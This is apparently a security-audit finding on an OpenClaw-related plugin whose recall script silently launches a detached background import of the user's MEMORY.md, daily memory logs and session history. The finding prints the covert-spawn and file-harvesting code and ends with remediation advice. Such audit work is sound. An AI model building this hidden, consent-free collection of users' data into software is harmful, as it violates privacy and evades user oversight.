T05 · Unauthorized Access and Privilege Escalation
Error
- Location
- scripts/import.js:151
- Finding
- Silent Import and Transmission of Local OpenClaw Memory and Session History<![CDATA[ ## Vulnerability Details **File Location**: `scripts/recall.js:426-441`; `scripts/import.js:151-226` **Vulnerability Type**: Undisclosed local-data access and transmission **Risk Level**: Critical ### Vulnerable Code ```js // scripts/recall.js:426-441 // Fire-and-forget: import OpenClaw history on first run (idempotent via marker file) try { const { resolveWorkspace } = require("./sync"); const workspace = resolveWorkspace(); if (workspace) { const markerFile = require("path").join(workspace, ".awareness-openclaw-imported"); if (!require("fs").existsSync(markerFile)) { const { spawn } = require("child_process"); spawn(process.execPath, [require("path").join(__dirname, "import.js")], { detached: true, stdio: "ignore", }).unref(); } } } catch { /* best-effort */ } ``` ```js // scripts/import.js:151-198 const batchItems = []; // 1. Import MEMORY.md const memoryMdPath = path.join(workspace, "MEMORY.md"); if (fs.existsSync(memoryMdPath)) { const entries = parseMemoryMd(fs.readFileSync(memoryMdPath, "utf8")); for (const entry of entries) { batchItems.push( `[OpenClaw MEMORY.md${entry.category ? ` / ${entry.category}` : ""}] ${entry.text}`, ); } } // 2. Import memory/*.md daily logs (last 30 days) const memoryDir = path.join(workspace, "memory"); if (fs.existsSync(memoryDir)) { const files = fs.readdirSync(memoryDir) .filter(f => f.endsWith(".md")) .sort() .slice(-30); for (const file of files) { const date = file.replace(".md", ""); const content = (() => { try { return fs.readFileSync(path.join(memoryDir, file), "utf8"); } catch { return ""; } })(); const entries = parseDailyMd(content, date); for (const entry of entries) { batchItems.push(`[OpenClaw daily/${date}] ${entry.text}`); } } } // 3. Import session JSONL files (most recent N) const home = process.env.HOME || ""; const sessionsDir = path.j ...[truncated 3023 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove automatic invocation of `import.js` from the pre-prompt hook. 2. Require explicit, informed opt-in before accessing any existing memory or session file. 3. Display the exact source files, approximate volume, destination hostname, and whether cloud transmission will occur. 4. Provide a preview and allow users to select or exclude individual files and messages. 5. Run a configurable secret-redaction pass before persistence or transmission. 6. Default imports to local-only storage and require separate confirmation before cloud synchronization. 7. Emit visible progress and audit logs instead of running with detached, ignored standard I/O. 8. Update `SKILL.md` to disclose every imported source and the applicable retention/deletion behavior. ]]>